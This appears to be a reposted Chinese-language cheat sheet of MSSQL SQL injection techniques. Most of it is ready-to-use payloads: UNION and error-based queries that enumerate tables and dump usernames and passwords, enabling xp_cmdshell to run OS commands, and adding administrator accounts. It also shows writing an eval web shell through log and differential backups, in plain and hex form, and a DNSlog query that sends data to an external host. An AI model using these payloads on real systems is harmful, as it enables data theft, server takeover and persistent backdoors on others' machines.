SQL注入之MSSQL注入


MSSQL注入

这里只记录相对于mysql的一些东西


判断是否为Mssql数据库

and exists(select * from sysobjects) --

权限:

sa权限:数据库操作,⽂件管理,命令执⾏,注册表读取等 system
db权限:⽂件管理,数据库操作等 users-adminstrators
public权限:数据库操作 guest-users

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限

调⽤数据库的代码:
<%set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name" %>


联合查询:

id=-2 union all select 1,2,3,4..

1.@@version- 获取版本信息;
2.db_name() -数据库名字
3.user,system_user,current_user,user_name – 获取当前⽤户名
4.@@SERVERNAME – 获取有关服务器主机的信息。

爆表:
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4

爆列:
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,nul
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

字段:
new_list.asp?id=-2 union all select null,username, password ,null from manage


报错注入:

convert()函数: (原理:类型转换失败)

convert(int,@@version) - 获取版本信息
convert(int,db_name()) -数据库名字 convert(int,user) -当前⽤户名
convert(int,@@SERVERNAME)– 获取有关服务器主机的信息

CONVERT(int,(select top 1 table_name from information_schema.columns)) 表名

convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制的表名 as varchar))) 列名

convert(int,(select top 1 name 列名 from 表名)) 字段


盲注:

还是sqlmap吧。。。。。。


Sa权限

写webshell(有写权限即可)

常用句子嫌占地方就不放了

eg: exec master..xp_webshell "echo 一句话 > 物理路径"

检测语句是否执行 exec master..xp_webshell "ping -n 1/10 www.baidu.com" #
如果发现被禁用,可以启用:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

如果没有回显,在用报错盲注来读取写出的东西。

语句内的引号可以转义一下: ^

远控

bitsadmin //win 7/2008
powershell //win 7/2008
vbs

注意目录的歧义性
c:\users\public
无法查看物理路径,可以尝试指定位置或当前文件夹。

添加⽤户

防护软件不给连接
防⽕墙开启 (慎重关闭)
不给添加用户

net user 账号 密码 /add
net localgroup administators 账号 /add
net user 账号 /del


db_owner权限

log备份

;alter database (数据库名称) set RECOVERY FULL-- 数据库激活为还原模式

;drop table cmd--

;create table cmd (a image)--

;backup log (数据库名称) to disk = 'c:/1.bak' with init--

;insert into cmd (a) values ('<%@ Page Language="Jscript"%> %eval(Request.Item["hackdog"],"unsafe");%>')-- (容易返回不闭合)

;backup log (数据库名称) to disk = 'C:/Users/Administrator/Desktop/wwwroot/xf.aspx'--

差异备份

1⾸先完整备份⼀次(c:\ddd.bak为所备份未见) backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲⼊数据 create table [dbo].[dtest] ([cmd] [image]); insert into dtest(cmd) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c285265717 56573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
3.进⾏差异备份 backup database 库名 to disk='⽬标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上⾯0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c2852657175657374 2e4974656d5b226861636b646f67225d2c22756e7361666522293b253e
就是⼀句话⽊马的内容:<%@ Page Language="Jscript"%> <%eval(Request.Item["hackdog"],"unsafe");%>

**

DNSlog

mysql:
1' and if((select load_file(concat('\\',hex((select 212)),'xxxxx.ceye.io\abv'))),1,0) And '1'='1

其他的太多了...等理解深入了单独写一下


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM